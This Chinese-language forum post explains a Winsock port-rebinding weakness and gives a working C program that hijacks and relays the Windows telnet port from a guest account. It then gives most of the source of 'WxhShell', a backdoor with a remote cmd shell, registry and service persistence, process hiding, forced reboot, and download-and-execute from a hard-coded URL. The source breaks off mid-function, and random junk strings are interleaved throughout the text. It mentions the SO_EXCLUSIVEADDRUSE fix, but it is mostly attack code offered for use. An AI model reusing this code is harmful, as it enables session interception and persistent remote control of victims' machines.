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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MjI}fs< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^3`98y.Q s8``U~D saddr.sin_family = AF_INET; ^}8_tZs8\ f (
`.q saddr.sin_addr.s_addr = htonl(INADDR_ANY); U6=m4]~Z e<^tY0rR& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0nAeeVz| ,>(M5\Z/c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H[x 9 7r T^GdN_qF 这意味着什么?意味着可以进行如下的攻击: -X4`,0y%{O GX_Lxc_<f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q<JI!n1O y|KDh'Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gWS49*O #%e`OA(b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U2ANu| LM _4.J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 &V( LeSI YA^9, q6u? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Pr<?E[ :B- ,*@EU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [uRsB5 g{$&j*Q9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q@(N 38D ]?)zH:2) #include McnP>n #include m$J'n A #include raJyo>xXb5 #include 5<w0*~Zd~ DWORD WINAPI ClientThread(LPVOID lpParam); qrX6FI int main() o7 !@WOeZ3 { '~ ]b;nA WORD wVersionRequested; l!i B
-?'u DWORD ret; dl{3fldb WSADATA wsaData; v2@M,xbxF: BOOL val; V43JY_: SOCKADDR_IN saddr; udc9$uO SOCKADDR_IN scaddr; +[2lS54"W4 int err; `bC_J,>_ SOCKET s; n?
s4"N6 SOCKET sc; {8jG6 int caddsize; Vxgc|E^J HANDLE mt; ^U_jeAuk8[ DWORD tid; 6ldDt?iSg wVersionRequested = MAKEWORD( 2, 2 ); fQx 4/4j err = WSAStartup( wVersionRequested, &wsaData ); SwP h-6 if ( err != 0 ) { b'-gy0 printf("error!WSAStartup failed!\n"); %n}]$
d return -1; M(3E
b;` } R1q04Zj{2 saddr.sin_family = AF_INET; gieX`} :,VyOmf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K->p&6s 'ZDa *9nkF saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); eB]ZnJ2^= saddr.sin_port = htons(23); \aW5V: ? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hh@mIusj { Y66 vJ<lM printf("error!socket failed!\n"); A`r&"i OKA return -1; Y2$%%@ } jN {ED_ val = TRUE; b'{D4/ //SO_REUSEADDR选项就是可以实现端口重绑定的 YT:5J%" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2C8M1^0:Z { $K
G?d>wx printf("error!setsockopt failed!\n"); *@Qt*f return -1; v^E5'M[A } cALu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RZ.5:v6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )US)-\^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JqZ%*^O Aio0++r- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "iydXV=Q { %Bo Jt-v ret=GetLastError(); o4Ba l^=[ printf("error!bind failed!\n"); $Y4
Ao-@ return -1; TM RXl.1 } Q%>,5(_V] listen(s,2); D>1Dao while(1) l;;:3: { W.CIyGK caddsize = sizeof(scaddr); eeX)JC0A //接受连接请求 (p2a{v}fEz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -J6}7>4^8} if(sc!=INVALID_SOCKET) g+CHF?O { rj5:YQEH; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <=`@`rm{ if(mt==NULL) F%|(pHk { x-W0 h printf("Thread Creat Failed!\n"); C'$U1%:
j break; CRf^6k_;( } Cv=0&S. } lubS{3< CloseHandle(mt); bBQp:P?E } w5nRgdboy! closesocket(s); +*!! WSACleanup(); RcE%?2lD return 0; ]zm6;/S } ~>EVI=? DWORD WINAPI ClientThread(LPVOID lpParam) >]`x~cE.5 { C^~iz
in SOCKET ss = (SOCKET)lpParam; BxG;vS3>*e SOCKET sc; ](ninSX1w unsigned char buf[4096]; k{#:O= SOCKADDR_IN saddr; bC{~/ JP long num; ?:2Xh/8- DWORD val; cP
Y^Bf5) DWORD ret; v;A //如果是隐藏端口应用的话,可以在此处加一些判断 f;Dz(~hw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ["7}u^z@<+ saddr.sin_family = AF_INET; <*\J 6:^n saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _\<M58/z saddr.sin_port = htons(23); +l#2u#e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &V;a: { .6hH}BM printf("error!socket failed!\n"); B?4\IXek return -1; 8BN'fWl&E } &d2/F i+ val = 100; -Z@p
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O| 2Q-
@D { r5"/EMieh ret = GetLastError(); E0|aI4S4 return -1; 83n: h08 } ubQ(O uM" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;CrA { A4^+p0@ ret = GetLastError(); 3m^BYr*y^ return -1; 'ZDclz9} } Gg+>_b{S5T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tEUmED0FY { WAEKvM4*i0 printf("error!socket connect failed!\n"); qRFN@ID$ closesocket(sc); :s5g6TR closesocket(ss); O<hHo]jLF return -1; 3,[2-obmi } qq`RfZjL while(1) \z{Y(dS { ,y >Na{@Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @K/Ia!Lw //如果是嗅探内容的话,可以再此处进行内容分析和记录 @.{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A_.QHUjpx num = recv(ss,buf,4096,0); 2*|]#W if(num>0) UdGoPzN send(sc,buf,num,0); GxkG$B else if(num==0) V#~.Jg7 break; u62sq: GjH num = recv(sc,buf,4096,0); cNVdGY%& if(num>0) "Wm~\)t( send(ss,buf,num,0); DHAWUS6 else if(num==0) ~JXHBX break; %Z7!9+< } g{%'; closesocket(ss); B'Wky>5) closesocket(sc); w.8~A,5}Dh return 0 ; 'GFzI:Xr } r>Ln*R,9D
I ?>#neHc6 <%z/6I
Af| ========================================================== B4}XK=) q
:bKT#\ 下边附上一个代码,,WXhSHELL c&++[ 8VZ-`?p ==========================================================
zCHr x3Ud0[( #include "stdafx.h" kslN_\ ;i9CQ0e? #include <stdio.h> a3;.{6el)H #include <string.h> V|AE~R^ #include <windows.h> 1 XG-O #include <winsock2.h> {UcItLjY #include <winsvc.h> k@L~h{`Mc\ #include <urlmon.h> Al|7Y/ HhL%iy1 #pragma comment (lib, "Ws2_32.lib") 0U>Q<I} #pragma comment (lib, "urlmon.lib") V%ch' 4i,SiFKB #define MAX_USER 100 // 最大客户端连接数 Bu1z$#AC #define BUF_SOCK 200 // sock buffer zjA/Z( #define KEY_BUFF 255 // 输入 buffer c
#kV+n< *3$,f>W^ #define REBOOT 0 // 重启 mV,R0olF #define SHUTDOWN 1 // 关机 ^aXBt ZhsZywM #define DEF_PORT 5000 // 监听端口 "b
0cj aJ8pJ{,P #define REG_LEN 16 // 注册表键长度 rg,63r #define SVC_LEN 80 // NT服务名长度 >v[(w1?rX 9HX+sB
M // 从dll定义API A-5+# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +&OqJAu typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q(UGwd1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mB{{o}'<u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ??Zmj:8E' Z+"&{g // wxhshell配置信息 N^+ww]f? struct WSCFG { 6mdnEmFM] int ws_port; // 监听端口 &r%*_pX char ws_passstr[REG_LEN]; // 口令 ^{:jY, ?] int ws_autoins; // 安装标记, 1=yes 0=no iIE(zw)H char ws_regname[REG_LEN]; // 注册表键名 CeTr%j char ws_svcname[REG_LEN]; // 服务名 _sVs6AJ char ws_svcdisp[SVC_LEN]; // 服务显示名 $]kg_l) char ws_svcdesc[SVC_LEN]; // 服务描述信息 86#mmm) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2JP?6N int ws_downexe; // 下载执行标记, 1=yes 0=no U[b;#Y1X char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _m],(J=,z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )\-";?sYky Zjg\jo }; "ILWIzf.] ?Z>.G{Wm@ // default Wxhshell configuration "!tw
,Gp struct WSCFG wscfg={DEF_PORT, AiZFvn[n8 "xuhuanlingzhe", A+I&.\QAR 1, J\3} il
N "Wxhshell", K//T}-Uub "Wxhshell", VA'X!(Cv "WxhShell Service", }4SSo)Uv/ "Wrsky Windows CmdShell Service", Y/H^*1 "Please Input Your Password: ", xXZKj 1, b`W*vduf " http://www.wrsky.com/wxhshell.exe", |*KS<iHr% "Wxhshell.exe" "<x~{BN? }; ,g_onfY u!o]Co> // 消息定义模块 0j(jJAE. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B#"|5 char *msg_ws_prompt="\n\r? for help\n\r#>"; WuFwt\U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; J4"swPf char *msg_ws_ext="\n\rExit."; ti^v%+r1 char *msg_ws_end="\n\rQuit."; ( 'n8=J char *msg_ws_boot="\n\rReboot..."; z,FTsR$x char *msg_ws_poff="\n\rShutdown..."; _I_?k+#WFe char *msg_ws_down="\n\rSave to "; 1~DD9z A&c@8 char *msg_ws_err="\n\rErr!"; ]^9*
t,{9 char *msg_ws_ok="\n\rOK!"; O}_a3>1DY UMuuf6 char ExeFile[MAX_PATH]; EWIc|b: int nUser = 0; 3]<re{)J9O HANDLE handles[MAX_USER]; *frJ^ Ws{ int OsIsNt; liqR#<
iN_D8dI SERVICE_STATUS serviceStatus; lVdT^"~3 SERVICE_STATUS_HANDLE hServiceStatusHandle; M~Qj'VVL zN+*R;Ds // 函数声明 =kh>s$We int Install(void); 1Xr"h:U_X int Uninstall(void); oL'1Gm@X? int DownloadFile(char *sURL, SOCKET wsh); .3<IOtD= int Boot(int flag); Jh4&Qh|t void HideProc(void); 3;MjO*- int GetOsVer(void); xDJ+BQ<1A int Wxhshell(SOCKET wsl); l(#ke void TalkWithClient(void *cs); yW^IN8fm int CmdShell(SOCKET sock); {R-82% X int StartFromService(void); kt{C7qpD int StartWxhshell(LPSTR lpCmdLine); ZQ~myqx,+L [W$Z60?RR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C$LRY~\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6_<s=nTX c~UAr k S // 数据结构和表定义 H [Lt%:r
SERVICE_TABLE_ENTRY DispatchTable[] = ouVjZF@kS { 030U7 VT1 {wscfg.ws_svcname, NTServiceMain}, z5`8G =A {NULL, NULL} [z% ?MIT }; zk5=Opmvh O R<"LTCL // 自我安装 { ^2W>^ int Install(void) f{Fe+iPc { y168K[p char svExeFile[MAX_PATH]; :X1cA3c! HKEY key; t{SMSp strcpy(svExeFile,ExeFile); (X(1kj3 T5Sg2a1& // 如果是win9x系统,修改注册表设为自启动 xN3 [Kp if(!OsIsNt) { 8b:clvh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &.Latx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bug Fl> RegCloseKey(key); L;
q)8Pb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :%#r.p"6x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3XwU6M$5g RegCloseKey(key); ^'&iYV return 0; oY%"2PW1B } a1G9wC:e } ')5L_$ } J4G> E.8 else { px_s@>l` [.;%\>Qk< // 如果是NT以上系统,安装为系统服务 Kr/h`RM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qA/#IUi)1 if (schSCManager!=0) mT6q}``vtG { Fkcx+d SC_HANDLE schService = CreateService Jf?S9r5 Q ( Er"R;l]xJ schSCManager, K)/!&{7n}a wscfg.ws_svcname, %e
Sm&` wscfg.ws_svcdisp, y98JiNq SERVICE_ALL_ACCESS, \ I^nx+l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W ""*hJ SERVICE_AUTO_START, 9K ;k% SERVICE_ERROR_NORMAL, 4r1<,{gCS svExeFile, NTm<6Is` NULL, >;
&s['H NULL, PNbcy!\U NULL, }A1|jY)x NULL, *#lBQBH|. NULL -".kH<SWv ); mA(nyF if (schService!=0) "mPSA Z { "Su
b4F` CloseServiceHandle(schService); 4<T*i{[ CloseServiceHandle(schSCManager); wfBuU> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vZb|!#I strcat(svExeFile,wscfg.ws_svcname); -c+[6A>j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^n&]HzT`y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s>jr1~~3O_ RegCloseKey(key); O`i)?BC return 0; X!o[RJY } {gFAvMj# } %/l-A
pu CloseServiceHandle(schSCManager); 'y4zBLY } C}b|2y } #y=ZP:{:t )o#6-K+b return 1; /a[V!<"R } 4l lD6&% AqV09 $ // 自我卸载 sULIrYRA int Uninstall(void) e9CP802#2 { ^W
Y8-6 HKEY key; h@*lWi2K7 qDnCn H if(!OsIsNt) { *.,"N} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O87"[c`> RegDeleteValue(key,wscfg.ws_regname); { p1lae RegCloseKey(key); bz{^ h' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j)jCu ;` RegDeleteValue(key,wscfg.ws_regname); PXw|
L RegCloseKey(key); [ rQMD^:M$ return 0; I&L.;~ } |',M_
e] } -#LjI. } CO-Iar else { /8xH$n&xoC wgY6D!Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9p<:=T if (schSCManager!=0) [34zh="o { 1ZT^)/ G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wrmgu}q if (schService!=0) 3A-*vaySV { "\}b!gl$8 if(DeleteService(schService)!=0) { Q_ctX|. CloseServiceHandle(schService); $hh+0hs CloseServiceHandle(schSCManager); 8h2D+1,PZC return 0; OmB
TA=E< } ,H>W:O CloseServiceHandle(schService); XZ.7c{B< } wJ6_I$> CloseServiceHandle(schSCManager); :qxm !P } RX:R*{]- } -Q6(+(7_| 9Ei5z6Vk/+ return 1; N99[.mErU } ^_@r.y] =0,|/1~ // 从指定url下载文件 ]?[zx'| int DownloadFile(char *sURL, SOCKET wsh) 2(pLxVl { "tqnx?pM HRESULT hr; HmvsYP66
char seps[]= "/"; hM?`x(P char *token; i8K_vo2Z) char *file; '|Qd0,Z char myURL[MAX_PATH]; rfYP*QQY char myFILE[MAX_PATH]; /vHYM S d$pYo)8o({ strcpy(myURL,sURL); ^f9>l;Lb token=strtok(myURL,seps); p"2m90IO while(token!=NULL) Cl,9yU)1n { elu=9d];@ file=token; )1WMlG token=strtok(NULL,seps); ".gNeY6)x } 4Rx~s7l 6Lb{r4^ GetCurrentDirectory(MAX_PATH,myFILE); Uo~T'mA" strcat(myFILE, "\\"); axX{6 strcat(myFILE, file); u t$c)_ send(wsh,myFILE,strlen(myFILE),0); j !`B'{cH send(wsh,"...",3,0); xA92C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H( vx/q if(hr==S_OK) }3Qc 24` return 0; @K\o4\ else sm0fAL return 1; E>E*ZZuhj P$g^vS+ } (~JwLe@a i0>]CJG // 系统电源模块 !$_~x
8K1- int Boot(int flag) ?\ZL#)hr"p { yNBv-oe5 HANDLE hToken; %,0%NjK TOKEN_PRIVILEGES tkp; OVZP x%a K*1.'9/ if(OsIsNt) { 6ZcXS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oe9lF*$/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &:<, c12 tkp.PrivilegeCount = 1; 1RLym9JN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `{[RjM` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u"`*DFjo* if(flag==REBOOT) { *7ZtNo[+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =_l)gx+Y+y return 0; ++b$E&lYU } |#k@U6`SG else { }AlYNEY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) onwjn+"& return 0; Nar>FR7ut } lbTV$A } V4|uas{0I: else { 5X#E@3g5 if(flag==REBOOT) { HJIC<U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \|.7-X return 0; ,beS0U] } QOH<]~3J else { Ke!'gohv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X3',vey return 0; dxK9:IX } iPvuz7j=h } (,B#t7ka f"dSr
return 1; s3:9$.tiR[ } d1c0l{JV3
z8"7u/4v{ // win9x进程隐藏模块 gv|"OlB void HideProc(void) BJk
Z2= { zU&L.+
rOcg+5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y]Vq\]m\ if ( hKernel != NULL ) ,$N#Us(Wa { `XJm=/f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "j^MB)YD ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dEp7{jY1O FreeLibrary(hKernel); 2%]Z
Kd } vcv CD7MD BhkoSkr return; q9]IIv } /&^W#U$4 wMWW=$h#\ // 获取操作系统版本 d|lpec int GetOsVer(void) u -3:k { 5Sva}9H OSVERSIONINFO winfo; g<wRN#B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n<7u>;SJQ GetVersionEx(&winfo); \~~ }N4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sI LSey5` return 1; nL-K)G, else ,[e\cnq[ return 0; 4CrLkr } ) #+^
sAO YlF%UPp // 客户端句柄模块 ~Lz%.a;o int Wxhshell(SOCKET wsl) tU:EN;H { q%i-`S]}qL SOCKET wsh; &%mXYj3y5 struct sockaddr_in client; !RH.|} DWORD myID; iM]o"qOQm !h`kX[: while(nUser<MAX_USER) Ef)yQ { *F`A S> int nSize=sizeof(client); h@ ) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -LW[7s$ if(wsh==INVALID_SOCKET) return 1; Hy_;nN+e 4vWkT8HQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =d)-Fd2li if(handles[nUser]==0) >V$ Gx>I closesocket(wsh); ])}]/Qw else <hx+wrv nUser++; t0)<$At6J } :j^FJ@2_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x@KZ] i'#Gy,R return 0; y3G
`> } bZ1 78>J] r]Lc9dL // 关闭 socket ~Z'w)!h void CloseIt(SOCKET wsh) #oni:] E!m { {Ui=b+ closesocket(wsh); T~:|!` nUser--; =]C]= ExitThread(0); O"G >wv } )#iq4@)|g bm% $86 // 客户端请求句柄 cyM-)r@YQV void TalkWithClient(void *cs) jMNU ?m: { [U/(<?F{( ._O SOCKET wsh=(SOCKET)cs; 3?n>yS char pwd[SVC_LEN]; w= P9FxB char cmd[KEY_BUFF]; 2*iIjw3g char chr[1]; T~_/Vi int i,j; Av' GB [`RX*OH2 while (nUser < MAX_USER) { \QE)m<GUe ^=
0m-/ if(wscfg.ws_passstr) { kOo~%kcQ' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `;l .MZL! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .iX# A<E} //ZeroMemory(pwd,KEY_BUFF); *+)AqKP\Kv i=0; XolZonJr while(i<SVC_LEN) { d;mx<i=/ A][fLlpr // 设置超时 0&_UH}10 fd_set FdRead; Vv1|51B struct timeval TimeOut; Y5ZZ3Ati FD_ZERO(&FdRead); M-V&X&?j FD_SET(wsh,&FdRead); F#
T 07< TimeOut.tv_sec=8; 9d[5{"2j TimeOut.tv_usec=0; jh2t9SI~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z_1U9+, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3"n\8#X{ G)v
#+4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W6 H,6v pwd =chr[0]; l<0}l^C. if(chr[0]==0xd || chr[0]==0xa) { sm[94,26 pwd=0; ';Zi@f" break; z4M9M7)" } ?;/^Ya1;Z i++; p~HW5\4 } ;2'q_Btk4 Urr#N // 如果是非法用户,关闭 socket 4SPy28<f if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h.O$]:N } s*U1 $un?0S send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &nBa=Enf send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AdRX`[ik <\kr1qHH while(1) { mKo C.J [ i#zP ZeroMemory(cmd,KEY_BUFF); 4vBL6!z:Z ~.;<
Bj // 自动支持客户端 telnet标准 ?v>ET2wD j=0; -46C!6a while(j<KEY_BUFF) { J+d1&Tw& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ok|qyN+ cmd[j]=chr[0]; Z R/#V7Pj if(chr[0]==0xa || chr[0]==0xd) { fd-q3_f cmd[j]=0; y6]vl=^L break; z~`b\A,$ } zg-2C>(6a j++; jck}" N } p-.n3AL !uQPc // 下载文件 (Jz;W<E if(strstr(cmd,"http://")) { pPd#N'\* send(wsh,msg_ws_down,strlen(msg_ws_down),0); i[wb0yL if(DownloadFile(cmd,wsh)) yR(x+Gs{] send(wsh,msg_ws_err,strlen(msg_ws_err),0); o sKKt?^? else a!O0,y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xy5e5K } 8Q_SRwN else { 8\:NMP8W\ p<M\U"5Ye switch(cmd[0]) { AU2i%Q! kbM3 // 帮助 e=O,B8)_ case '?': { */|BpakD< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tHzZ@72B7 break; pAT7)Ch
} M(/r%-D // 安装 [jmd case 'i': { !.d@L6 if(Install()) O)vp~@| send(wsh,msg_ws_err,strlen(msg_ws_err),0); b0oMs=uBn else C*P7-oE2rh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B(M6@1m_ break; /Q~i~B 2j- } 0jEL<TgC // 卸载 s6>ZREf#J case 'r': { =:~R=/ZXk if(Uninstall()) 9-MUX^?u send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7hsGu a else 5LOo8xN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,cNLkoN break; eUg~)m5G } e=.]F*:J // 显示 wxhshell 所在路径 -Z's@'* case 'p': {
VNY%R,6
char svExeFile[MAX_PATH]; D*lKn62 strcpy(svExeFile,"\n\r"); K5lmVF\$P strcat(svExeFile,ExeFile); EY tQw(!Q send(wsh,svExeFile,strlen(svExeFile),0); RsYU59_Y break; t<#h$}=:Vt } b9!FC$^J // 重启 4ecP*g case 'b': { wp&=$Aa)' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I1X-s if(Boot(REBOOT)) EKO[ !, send(wsh,msg_ws_err,strlen(msg_ws_err),0); AB4(+S*LA else { UeRj< \"Q closesocket(wsh); D|{jR~J)xK ExitThread(0); HPZ}*m' } Ftr5k^! break; %\:[ o } V;v8=1t! // 关机 ml+; Rmvb case 'd': { %
yw?s0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a24"yT if(Boot(SHUTDOWN)) }9FSO9*&} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3U0`,c\ao* else { [C'JH//q*t closesocket(wsh); ?U2< ExitThread(0); 9?SZNL['V } U[ 0=L`0e break; JT!9\i } sr{a(4*\ // 获取shell 6}!#;@D~ case 's': { Eqj_m|@ CmdShell(wsh); rogT~G}q closesocket(wsh); Rx}$0c0 ExitThread(0); o6uJyCO break; ~GZY 5HF } ):[7E(F= // 退出 o{y9r{~A case 'x': { :0Rx#%u}# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,Pdf,2 CloseIt(wsh); uo@n(>}EL break; '2 PF } fR(d // 离开 QD0"rxZJ case 'q': { ?M\{&mlF send(wsh,msg_ws_end,strlen(msg_ws_end),0); *=V~YF:Qb closesocket(wsh); #
mV{#B= WSACleanup(); *Qg _F6y exit(1); >LOjV0K/
break; f}9zgWU } f,kZ\Ia'r } @}}$zv6l, } ;6>2"{NW ]7Tkkw$ // 提示信息 '/^qJ7eb if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7+\+DujE$ } =4FXBPoQK } ;wz^gdh; 2#c<\s|C return; ww],y@da } R}*_~7r5 8Djc
c
z // shell模块句柄 |#]@Z)xa int CmdShell(SOCKET sock) X:vghOt? { w5Y04J STARTUPINFO si; u>2
l7PA| ZeroMemory(&si,sizeof(si)); 3h$6t7=C si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <
HVl(O si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]~'5\58sP PROCESS_INFORMATION ProcessInfo; (>nGQS]H char cmdline[]="cmd"; w9< R#y[A CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3=aQG'B return 0; MygfT[_ } jIC_[ %C|n9* // 自身启动模式 W3MJr&p int StartFromService(void) xMTKf+7 { >7jbgHB typedef struct r]:(Vk]|F { \hDlTp} DWORD ExitStatus; H4:`6 PSL DWORD PebBaseAddress; |}=acc/ DWORD AffinityMask; _Xk.p_uh DWORD BasePriority; -zOdU}91Ao ULONG UniqueProcessId; bk;?9%TW ULONG InheritedFromUniqueProcessId; H[,i{dD } PROCESS_BASIC_INFORMATION; +BETF;0D
TQpf Q PROCNTQSIP NtQueryInformationProcess; '
